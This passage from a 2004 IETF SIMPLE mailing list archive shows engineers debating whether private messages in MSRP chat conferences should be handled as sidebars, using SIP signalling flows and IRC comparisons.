> > > >>REFER (to sidebar)
> > > >>200 OK
> > > >>
> > > >>-Query/inform user whether wants to join-
> > > >>
> > > >>INVITE (to sidebar)
> > > >>200 OK
> > > >>ACK
> > > >>
> > > >>(Note: would probably also require subscription to 
> > conference-info,
> > > >>because one would be interested to whom they are sending 
> > the private
> > > >>messages...)
> > > >>
> > > >>MSRP SEND
> > > >>MSRP OK
> > > >>
> > > >>BYE
> > > >>200 OK
> > > >>
> > > >>...as opposed to a single round of messages:
> > > >>
> > > >>MSRP SEND (private)
> > > >>200 OK
> > > >>
> > > >>(Note that enabling auto-answering wrt the REFER would in the 
> > > >>worst case
> > > >>result in a sidebar bombardment, or having a user be 
> > moved over to a
> > > >>sidebar in the middle of, say, message composition.)
> > > >>
> > > >>The same level of functionality would also not be met with 
> > > only using
> > > >>private messages. AFAIK, the purpose of a sidebar is to 
> > > move the focus
> > > >>of the conversation temporarily outside the original 
> > > conference. This
> > > >>requires being able to wrap a discussion into a separate 
> > > >>context. A very
> > > >>important aspect of this is to let the user decide whether to 
> > > >>joing such
> > > >>a sidebar, and when to join it. Determining to which context a
> > > >>particular received private message belongs to can in this 
> > > >>case only be
> > > >>done in the recipients head - there are no protocol 
> > > elements to help.
> > > >>
> > > >>As a conclusion, I don't see how sidebars alone can provide 
> > > >>the required
> > > >>functionality.
> > > >>
> > > >>
> > > >>>So, the question is, do we see the perceived efficiency 
> > > >>
> > > >>improvements 
> > > >>
> > > >>>of a pager-mode sidebar as being sufficiently good to 
> allow for 
> > > >>>defining a separate sidebar mechanism for it?
> > > >>
> > > >>It is also about user interaction. When a user receives an 
> > > >>INVITE for an
> > > >>MSRP session, it can make a choice just like in a voice 
> > call between
> > > >>accepting the call or rejecting it. Page mode doesn't 
> > provide that 
> > > >>functionality.
> > > >>
> > > >>Cheers,
> > > >>Aki
> > > >>
> > > >>
> > > >>>-Jonathan R.
> > > >>
> > > 
> > > _______________________________________________
> > > Simple mailing list
> > > Simple@ietf.org
> > > https://www1.ietf.org/mailman/listinfo/simple
> > > 
> > 
> 

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Mon Mar  1 20:40:35 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA20549
	for <simple-archive@odin.ietf.org>; Mon, 1 Mar 2004 20:40:35 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxytE-0000kx-C3
	for simple-archive@odin.ietf.org; Mon, 01 Mar 2004 20:40:08 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i221e8pR002904
	for simple-archive@odin.ietf.org; Mon, 1 Mar 2004 20:40:08 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxytD-0000kl-QL
	for simple-web-archive@optimus.ietf.org; Mon, 01 Mar 2004 20:40:07 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA20530
	for <simple-web-archive@ietf.org>; Mon, 1 Mar 2004 20:40:03 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxytB-0001Fo-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 20:40:05 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxysD-000196-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 20:39:07 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxyrF-00012b-00; Mon, 01 Mar 2004 20:38:05 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxyrD-00085v-MD; Mon, 01 Mar 2004 20:38:03 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxyqU-0007wI-1C
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 20:37:18 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA20396
	for <simple@ietf.org>; Mon, 1 Mar 2004 20:37:14 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxyqR-0000wW-00
	for simple@ietf.org; Mon, 01 Mar 2004 20:37:15 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxypW-0000pQ-00
	for simple@ietf.org; Mon, 01 Mar 2004 20:36:19 -0500
Received: from mailgate.pit.comms.marconi.com ([169.144.68.6])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axyom-0000fV-00
	for simple@ietf.org; Mon, 01 Mar 2004 20:35:32 -0500
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.12.10+Sun/8.12.10) with ESMTP id i221YoaZ027510;
	Mon, 1 Mar 2004 20:34:50 -0500 (EST)
Received: from uspitsmsgrtr01.pit.comms.marconi.com (uspitsmsgrtr01.pit.comms.marconi.com [169.144.2.221])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id UAA21253;
	Mon, 1 Mar 2004 20:34:49 -0500 (EST)
Received: by uspitsmsgrtr01.pit.comms.marconi.com with Internet Mail Service (5.5.2653.19)
	id <GDP2YZ87>; Mon, 1 Mar 2004 20:34:48 -0500
Message-ID: <313680C9A886D511A06000204840E1CF070B6483@whq-msgusr-02.pit.comms.marconi.com>
From: "Rosen, Brian" <Brian.Rosen@marconi.com>
To: "'Markus.Isomaki@nokia.com'" <Markus.Isomaki@nokia.com>,
        aki.niemi@nokia.com
Cc: jdrosen@dynamicsoft.com, pkyzivat@cisco.com, hisham.khartabil@nokia.com,
        Miguel.An.Garcia@nokia.com, simple@ietf.org
Subject: RE: [Simple] Chat sessions
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 1 Mar 2004 20:34:42 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60

What is the difference between a sidebar and a private message?

I think the ONLY difference is the number of people involved.

A sidebar is two or more.  A private message is exactly two.

There is NO other meaningful difference.

Your argument on overhead is directly comparable to the argument
we went through when we defined sidebars as separate sessions.
I argued that we should NOT create a separate session, but
simply alter the media policy appropriately.  You are simply
repeating the arguments I made.

I lost that argument.  

Brian

> -----Original Message-----
> From: Markus.Isomaki@nokia.com [mailto:Markus.Isomaki@nokia.com]
> Sent: Monday, March 01, 2004 8:16 PM
> To: Brian.Rosen@marconi.com; aki.niemi@nokia.com
> Cc: jdrosen@dynamicsoft.com; pkyzivat@cisco.com;
> hisham.khartabil@nokia.com; Miguel.An.Garcia@nokia.com; 
> simple@ietf.org
> Subject: RE: [Simple] Chat sessions
> 
> 
> Hi,
> 
> It seems we are not getting the message through ;)
> 
> Let's see how sending a private message looks like as a 
> sidebar vs. as proposed in the current draft. The case is 
> this: Users A and B participate in the same conference, A 
> wants to send a private message to B.
> 
> Sidebar case would be roughly like this:
> 1. A creates a conference for a sidebar using INVITE
>    - new MSRP session is established between A and the new 
> focus instance
> 2. A refers B to that conference
> 3. B joins the conference
>    - new MSRP session is established
> 4. A sends MSRP SEND request to the conference
> 5. focus forwards it to B
> 6. A sends BYE
> 7. focus sends BYE to B
> 
> If B replies after 10 seconds, the whole process is followed 
> again from 1 to 7.
> 
> Private message case:
> 1. A sends private message targeted to B over an existing MSRP session
> 2. focus forwards it to B
> 
> So which solution would you like to adopt? 
> 
> Markus
> 
> 
> > -----Original Message-----
> > From: ext Rosen, Brian [mailto:Brian.Rosen@marconi.com]
> > Sent: 01 March, 2004 12:41
> > To: Niemi Aki (Nokia-M/Espoo)
> > Cc: ext Jonathan Rosenberg; Isomaki Markus (Nokia-NRC/Helsinki);
> > pkyzivat@cisco.com; Khartabil Hisham (Nokia-TP-MSW/Helsinki); Garcia
> > Miguel.An (Nokia-NRC/Helsinki); simple@ietf.org
> > Subject: RE: [Simple] Chat sessions
> > 
> > 
> > Aki
> > 
> > My post was meant to point out that we had decided to 
> > implement sidebars
> > as separate dialogs from main conferences, which is similar 
> to making
> > "private messages" separate dialogs from a main IM dialog.  In that
> > way, I think that sidebars and private messages are the 
> same; they are
> > media sent to a subset of participants in the group.  If there
> > is a reason to allow a special way to subset destinations for a
> > private message rather than the entire chat group, then whatever
> > argument you make would apply to a sidebar.  
> > 
> > Brian
> > 
> > > -----Original Message-----
> > > From: Niemi Aki (Nokia-M/Espoo) [mailto:aki.niemi@nokia.com]
> > > Sent: Monday, March 01, 2004 2:58 AM
> > > To: ext Rosen, Brian
> > > Cc: ext Jonathan Rosenberg; Markus.Isomaki@nokia.com;
> > > pkyzivat@cisco.com; hisham.khartabil@nokia.com;
> > > Miguel.An.Garcia@nokia.com; simple@ietf.org
> > > Subject: Re: [Simple] Chat sessions
> > > 
> > > 
> > > Brian,
> > > 
> > > I've never argued for private messages over sidebars. I still 
> > > maintain 
> > > that sidebars and private messages are different and 
> > *complimentary* 
> > > features, and that we need *both* to have a complete 
> > solution for IM 
> > > conferences.
> > > 
> > > Cheers,
> > > Aki
> > > 
> > > ext Rosen, Brian wrote:
> > > > Aki
> > > > 
> > > > When we were discussing sidebars, I made arguments like 
> > > this against making
> > > > a sidebar
> > > > a separate session.  Sidebars, I argued, are just media 
> > > (mixing) changes,
> > > > they have
> > > > nothing to do with session management.
> > > > 
> > > > I lost this argument, and I will be very unhappy if IM 
> > > works differently.
> > > > One of
> > > > the reasons I lost it was the observation that a sidebar 
> > > could include
> > > > participants
> > > > who are not main conference participants.  I think you have 
> > > the same issue
> > > > here.
> > > > 
> > > > Brian
> > > > 
> > > > 
> > > >>-----Original Message-----
> > > >>From: Niemi Aki (Nokia-M/Espoo) [mailto:aki.niemi@nokia.com]
> > > >>Sent: Sunday, February 29, 2004 12:40 PM
> > > >>To: ext Jonathan Rosenberg
> > > >>Cc: Markus.Isomaki@nokia.com; Brian.Rosen@marconi.com;
> > > >>pkyzivat@cisco.com; hisham.khartabil@nokia.com;
> > > >>Miguel.An.Garcia@nokia.com; simple@ietf.org
> > > >>Subject: Re: [Simple] Chat sessions
> > > >>
> > > >>
> > > >>
> > > >>
> > > >>ext Jonathan Rosenberg wrote:
> > > >><snip />
> > > >>
> > > >>>>3. As Aki explained, sidebars and private IMs within a 
> > conference 
> > > >>>>are two different things. Sidebars are subconferences, 
> > > that include
> > > >>>> a certain subset of the participants in the main 
> > > conference. They 
> > > >>>>need to be explicitly created and deleted. Private 
> IMs within a 
> > > >>>>conference are also targeted to a subset of the conference 
> > > >>>>participants. But there is no need to setup a sidebar or 
> > > any other 
> > > >>>>additional context to send them. The recipients can simply be 
> > > >>>>signaled within each message (as proposed by using CPIM 
> > > To header).
> > > >>>> This seems to be a specific property of IM, as this sort of 
> > > >>>>addressing would be impossible e.g. in RTP. In theory priate 
> > > >>>>messaging facility could be supported by sidebars, but in 
> > > this case
> > > >>>> the focus would need to have as many sidebars constantly 
> > > setup, as
> > > >>>> there are different possible participant subset 
> > > combinations. Way 
> > > >>>>too complex and not needed.
> > > >>>
> > > >>>
> > > >>>I dont think that, functionally, what you are describing is 
> > > >>
> > > >>different
> > > >>
> > > >>> from a sidebar. What differs is that the specifics of 
> > this media 
> > > >>>type allow for a more efficient implementation of the 
> > sidebar than 
> > > >>>would be possible for another media type, such as audio. 
> > > >>
> > > >>Indeed, the 
> > > >>
> > > >>>same is true for IM in general - why set up a session (ala 
> > > >>
> > > >>msrp) when
> > > >>
> > > >>>you can just send a pager mode?
> > > >>
> > > >>The ultimate proof of difference in functionality is 
> that private
> > > >>messages are usable and useful in a sidebar - in fact 
> it makes no
> > > >>difference whether they're sent within the context of a 
> > > conference, a
> > > >>conference sidebar, or a sidebar of a conference sidebar.
> > > >>
> > > >>Let me provide a concrete example of an already existing 
> > > service (IRC)
> > > >>that has what I think is a close approximation of both 
> sidebar and
> > > >>private message functionality. (BTW, I feel strongly 
> that if MSRP
> > > >>conferences aren't as feature rich as IRC is, and provide the 
> > > >>same user
> > > >>experience, we've failed miserably.)
> > > >>
> > > >>Channels in IRC have identities, e.g., #helsinki, and 
> > > >>participant lists
> > > >>that are delivered in a very similar manner that the 
> > conference-info
> > > >>events would be delivered. Users join these channels 
> > using JOIN, at
> > > >>which time they get the participant list, and after that, 
> > > >>updates e.g.,
> > > >>whenever anyone leaves or joins the channel.
> > > >>
> > > >>Users can send private messages to the other participants in 
> > > >>the channel:
> > > >>
> > > >>	PRIVMSG foobar :Some nick you got there foobar!
> > > >>
> > > >>Usually, these messages are displayed in the same pane as 
> > > the rest of
> > > >>the channel's messages, including information about the 
> sender but
> > > >>marked accordingly as private.
> > > >>
> > > >>A user can also invite others to a sidebar of sorts, that 
> > is, a new
> > > >>channel, whose properties can be set such that it can 
> be joined by
> > > >>invitation only.
> > > >>
> > > >>	INVITE FunnyNick #my_channel
> > > >>	INVITE BeerLover #my_channel
> > > >>	INVITE ROOLZ #my_channel
> > > >>
> > > >>Joining this new channel as a result of an invitation 
> (with JOIN)
> > > >>usually results in a new window, moving the focus of 
> > > conversation away
> > > >>from the original channel, but still maintaining the 
> > > original channel'
> > > >>and its messages active in the background.
> > > >>
> > > >>The users may again send messages either to the entire 
> > > >>channel (MSG), or
> > > >>to only one participant (PRIVMSG). A recipient of an INVITE will
> > > >>generally make a choice just like in a SIP invitation whether 
> > > >>or not to
> > > >>join the sidebar or not. Receiving a PRIVMSG requires no 
> > > actions from
> > > >>the recipient. Indeed, it might even go unnoticed.
> > > >>
> > > >>Taking this into account, I fail to see how sidebars alone 
> > > can be made
> > > >>to work in providing similar functionality in MSRP 
> > > conferences. Either
> > > >>sidears or private messages alone won't result in the 
> > same level of
> > > >>functionality.
> > > >>
> > > >>Wrapping all private conversation inside a sidebar is incredibly
> > > >>inefficient and results in bad user experience, since there 
> > > >>is no way to
> > > >>distinguish a REFER that is to a sidebar whose sole purpose 
> > > >>is to send a
> > > >>single private message to the user or have a real ad-hoc 
> > > conversation
> > > >>posibly consisting of a real exchange of messages. In fact, 
> > > this would
> > > >>require 4 rounds of singalling (not including sidebar 
> creation and
> > > >>tear-down), plus user interaction in between:
> > > >>
> > > >>REFER (to sidebar)
> > > >>200 OK
> > > >>
> > > >>-Query/inform user whether wants to join-
> > > >>
> > > >>INVITE (to sidebar)
> > > >>200 OK
> > > >>ACK
> > > >>
> > > >>(Note: would probably also require subscription to 
> > conference-info,
> > > >>because one would be interested to whom they are sending 
> > the private
> > > >>messages...)
> > > >>
> > > >>MSRP SEND
> > > >>MSRP OK
> > > >>
> > > >>BYE
> > > >>200 OK
> > > >>
> > > >>...as opposed to a single round of messages:
> > > >>
> > > >>MSRP SEND (private)
> > > >>200 OK
> > > >>
> > > >>(Note that enabling auto-answering wrt the REFER would in the 
> > > >>worst case
> > > >>result in a sidebar bombardment, or having a user be 
> > moved over to a
> > > >>sidebar in the middle of, say, message composition.)
> > > >>
> > > >>The same level of functionality would also not be met with 
> > > only using
> > > >>private messages. AFAIK, the purpose of a sidebar is to 
> > > move the focus
> > > >>of the conversation temporarily outside the original 
> > > conference. This
> > > >>requires being able to wrap a discussion into a separate 
> > > >>context. A very
> > > >>important aspect of this is to let the user decide whether to 
> > > >>joing such
> > > >>a sidebar, and when to join it. Determining to which context a
> > > >>particular received private message belongs to can in this 
> > > >>case only be
> > > >>done in the recipients head - there are no protocol 
> > > elements to help.
> > > >>
> > > >>As a conclusion, I don't see how sidebars alone can provide 
> > > >>the required
> > > >>functionality.
> > > >>
> > > >>
> > > >>>So, the question is, do we see the perceived efficiency 
> > > >>
> > > >>improvements 
> > > >>
> > > >>>of a pager-mode sidebar as being sufficiently good to 
> allow for 
> > > >>>defining a separate sidebar mechanism for it?
> > > >>
> > > >>It is also about user interaction. When a user receives an 
> > > >>INVITE for an
> > > >>MSRP session, it can make a choice just like in a voice 
> > call between
> > > >>accepting the call or rejecting it. Page mode doesn't 
> > provide that 
> > > >>functionality.
> > > >>
> > > >>Cheers,
> > > >>Aki
> > > >>
> > > >>
> > > >>>-Jonathan R.
> > > >>
> > > 
> > > _______________________________________________
> > > Simple mailing list
> > > Simple@ietf.org
> > > https://www1.ietf.org/mailman/listinfo/simple
> > > 
> > 
> 

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple



From simple-admin@ietf.org  Mon Mar  1 20:47:05 2004
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA21166
	for <simple-archive@ietf.org>; Mon, 1 Mar 2004 20:47:05 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axyzy-0002DN-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 20:47:06 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Axyyy-000257-00
	for simple-archive@ietf.org; Mon, 01 Mar 2004 20:46:05 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axyy0-0001xi-00; Mon, 01 Mar 2004 20:45:04 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axyy0-0001gy-9U; Mon, 01 Mar 2004 20:45:04 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxyxP-0001fG-Q9
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 20:44:27 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA20968
	for <simple@ietf.org>; Mon, 1 Mar 2004 20:44:23 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxyxN-0001rY-00
	for simple@ietf.org; Mon, 01 Mar 2004 20:44:25 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxywY-0001jB-00
	for simple@ietf.org; Mon, 01 Mar 2004 20:43:34 -0500
Received: from mailgate.pit.comms.marconi.com ([169.144.68.6])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axyvi-0001Ww-00
	for simple@ietf.org; Mon, 01 Mar 2004 20:42:42 -0500
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.12.10+Sun/8.12.10) with ESMTP id i221fxaZ027571;
	Mon, 1 Mar 2004 20:41:59 -0500 (EST)
Received: from uspitsmsgrtr01.pit.comms.marconi.com (uspitsmsgrtr01.pit.comms.marconi.com [169.144.2.221])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id UAA21898;
	Mon, 1 Mar 2004 20:41:59 -0500 (EST)
Received: by uspitsmsgrtr01.pit.comms.marconi.com with Internet Mail Service (5.5.2653.19)
	id <GDP2Y5CY>; Mon, 1 Mar 2004 20:41:58 -0500
Message-ID: <313680C9A886D511A06000204840E1CF070B6484@whq-msgusr-02.pit.comms.marconi.com>
From: "Rosen, Brian" <Brian.Rosen@marconi.com>
To: "'Niemi Aki (Nokia-M/Espoo)'" <aki.niemi@nokia.com>
Cc: ext Jonathan Rosenberg <jdrosen@dynamicsoft.com>, Markus.Isomaki@nokia.com,
        pkyzivat@cisco.com, hisham.khartabil@nokia.com,
        Miguel.An.Garcia@nokia.com, simple@ietf.org
Subject: RE: [Simple] Chat sessions
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 1 Mar 2004 20:41:49 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60

Probably, I just answered this.

A private message is a sidebar with exactly two participants.  A sidebar is
a set of private messages with possibly more than two participants.  The way
you render these could be the same, or different if you wish.  The only
thing that matters is whether there is any functional difference.  I don't
think that there is.

Consider a push to talk one-on-one voice connection within a conference.
That's pretty close to a private message.  If I implemented that, how would
you want me to do it?  As a sidebar?  As a media policy manipulation?
How about the "whisper" function in a call center.  Same thing.

Brian

> -----Original Message-----
> From: Niemi Aki (Nokia-M/Espoo) [mailto:aki.niemi@nokia.com]
> Sent: Monday, March 01, 2004 12:54 PM
> To: ext Rosen, Brian
> Cc: ext Jonathan Rosenberg; Markus.Isomaki@nokia.com;
> pkyzivat@cisco.com; hisham.khartabil@nokia.com;
> Miguel.An.Garcia@nokia.com; simple@ietf.org
> Subject: Re: [Simple] Chat sessions
> 
> 
> Brian,
> 
> Please go back to my previous post where I make a comparison 
> to similar
> (if not identical) functionality in IRC. There, sidebars and private
> messages are clearly separate functionality.
> 
> If you can show that the analogy between IRC and IM conferences is
> false, or describe how sidebars alone are enough to implement this 
> functionality in IM conferences, I'm happy to back down on this
> issue.
> 
> Cheers,
> Aki
> 
> ext Rosen, Brian wrote:
> > Aki
> > 
> > My post was meant to point out that we had decided to implement
> > sidebars as separate dialogs from main conferences, which is similar
> > to making "private messages" separate dialogs from a main IM dialog.
> > In that way, I think that sidebars and private messages are 
> the same;
> > they are media sent to a subset of participants in the group.  If
> > there is a reason to allow a special way to subset 
> destinations for a
> >  private message rather than the entire chat group, then whatever 
> > argument you make would apply to a sidebar.
> > 
> > Brian
> 
> <snip />
> 
> 

_______________________________________________
Simple mailing list
Simple@ietf.org
https://www1.ietf.org/mailman/listinfo/simple


From exim@www1.ietf.org  Mon Mar  1 20:47:36 2004
Received: from optimus.ietf.org (optimus.ietf.org [132.151.1.19])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA21241
	for <simple-archive@odin.ietf.org>; Mon, 1 Mar 2004 20:47:36 -0500 (EST)
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axz01-0001tx-Qy
	for simple-archive@odin.ietf.org; Mon, 01 Mar 2004 20:47:10 -0500
Received: (from exim@localhost)
	by www1.ietf.org (8.12.8/8.12.8/Submit) id i221l9B8007301
	for simple-archive@odin.ietf.org; Mon, 1 Mar 2004 20:47:09 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axz01-0001tg-N0
	for simple-web-archive@optimus.ietf.org; Mon, 01 Mar 2004 20:47:09 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA21181
	for <simple-web-archive@ietf.org>; Mon, 1 Mar 2004 20:47:05 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axyzz-0002DS-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 20:47:07 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1Axyyz-00025E-00
	for simple-web-archive@ietf.org; Mon, 01 Mar 2004 20:46:06 -0500
Received: from optimus.ietf.org ([132.151.1.19])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axyy0-0001xi-00; Mon, 01 Mar 2004 20:45:04 -0500
Received: from localhost.localdomain ([127.0.0.1] helo=www1.ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1Axyy0-0001gy-9U; Mon, 01 Mar 2004 20:45:04 -0500
Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org)
	by optimus.ietf.org with esmtp (Exim 4.20)
	id 1AxyxP-0001fG-Q9
	for simple@optimus.ietf.org; Mon, 01 Mar 2004 20:44:27 -0500
Received: from ietf-mx (ietf-mx.ietf.org [132.151.6.1])
	by ietf.org (8.9.1a/8.9.1a) with ESMTP id UAA20968
	for <simple@ietf.org>; Mon, 1 Mar 2004 20:44:23 -0500 (EST)
Received: from ietf-mx ([132.151.6.1])
	by ietf-mx with esmtp (Exim 4.12)
	id 1AxyxN-0001rY-00
	for simple@ietf.org; Mon, 01 Mar 2004 20:44:25 -0500
Received: from exim by ietf-mx with spam-scanned (Exim 4.12)
	id 1AxywY-0001jB-00
	for simple@ietf.org; Mon, 01 Mar 2004 20:43:34 -0500
Received: from mailgate.pit.comms.marconi.com ([169.144.68.6])
	by ietf-mx with esmtp (Exim 4.12)
	id 1Axyvi-0001Ww-00
	for simple@ietf.org; Mon, 01 Mar 2004 20:42:42 -0500
Received: from mailman.pit.comms.marconi.com (mailman.pit.comms.marconi.com [169.144.2.12])
	by mailgate.pit.comms.marconi.com (8.12.10+Sun/8.12.10) with ESMTP id i221fxaZ027571;
	Mon, 1 Mar 2004 20:41:59 -0500 (EST)
Received: from uspitsmsgrtr01.pit.comms.marconi.com (uspitsmsgrtr01.pit.comms.marconi.com [169.144.2.221])
	by mailman.pit.comms.marconi.com (8.9.3/8.9.3) with ESMTP id UAA21898;
	Mon, 1 Mar 2004 20:41:59 -0500 (EST)
Received: by uspitsmsgrtr01.pit.comms.marconi.com with Internet Mail Service (5.5.2653.19)
	id <GDP2Y5CY>; Mon, 1 Mar 2004 20:41:58 -0500
Message-ID: <313680C9A886D511A06000204840E1CF070B6484@whq-msgusr-02.pit.comms.marconi.com>
From: "Rosen, Brian" <Brian.Rosen@marconi.com>
To: "'Niemi Aki (Nokia-M/Espoo)'" <aki.niemi@nokia.com>
Cc: ext Jonathan Rosenberg <jdrosen@dynamicsoft.com>, Markus.Isomaki@nokia.com,
        pkyzivat@cisco.com, hisham.khartabil@nokia.com,
        Miguel.An.Garcia@nokia.com, simple@ietf.org
Subject: RE: [Simple] Chat sessions
MIME-Version: 1.0
X-Mailer: Internet Mail Service (5.5.2653.19)
Content-Type: text/plain;
	charset="iso-8859-1"
Sender: simple-admin@ietf.org
Errors-To: simple-admin@ietf.org
X-BeenThere: simple@ietf.org
X-Mailman-Version: 2.0.12
Precedence: bulk
List-Unsubscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=unsubscribe>
List-Id: SIP for Instant Messaging and Presence Leveraging Extensions <simple.ietf.org>
List-Post: <mailto:simple@ietf.org>
List-Help: <mailto:simple-request@ietf.org?subject=help>
List-Subscribe: <https://www1.ietf.org/mailman/listinfo/simple>,
	<mailto:simple-request@ietf.org?subject=subscribe>
List-Archive: <https://www1.ietf.org/mail-archive/working-groups/simple/>
Date: Mon, 1 Mar 2004 20:41:49 -0500
X-Spam-Checker-Version: SpamAssassin 2.60 (1.212-2003-09-23-exp) on 
	ietf-mx.ietf.org
X-Spam-Status: No, hits=0.1 required=5.0 tests=AWL autolearn=no version=2.60

Probably, I just answered this.

A private message is a sidebar with exactly two participants.  A sidebar is
a set of private messages with possibly more than two participants.  The way
you render these could be the same, or different if you wish.  The only
thing that matters is whether there is any functional difference.  I don't
think that there is.

Consider a push to talk one-on-one voice connection within a conference.
That's pretty close to a private message.  If I implemented that, how would
you want me to do it?  As a sidebar?  As a media policy manipulation?
How about the "whisper" function in a call center.  Same thing.

Brian

> -----Original Message-----
> From: Niemi Aki (Nokia-M/Espoo) [mailto:aki.niemi@nokia.com]
> Sent: Monday, March 01, 2004 12:54 PM
> To: ext Rosen, Brian
> Cc: ext Jonathan Rosenberg; Markus.Isomaki@nokia.com;
> pkyzivat@cisco.com; hisham.khartabil@nokia.com;
> Miguel.An.Garcia@nokia.com; simple@ietf.org
> Subject: Re: [Simple] Chat sessions
> 
> 
> Brian,
> 
> Please go back to my previous post where I make a comparison 
> to similar
> (if not identical) functionality in IRC. There, sidebars and private
> messages are clearly separate functionality.
> 
> If you can show that the analogy between IRC and IM conferences is
> false, or describe how sidebars alone are enough to implement this 
> functionality in IM conferences, I'm happy to back down on this
> issue.
> 
> Cheers,
> Aki
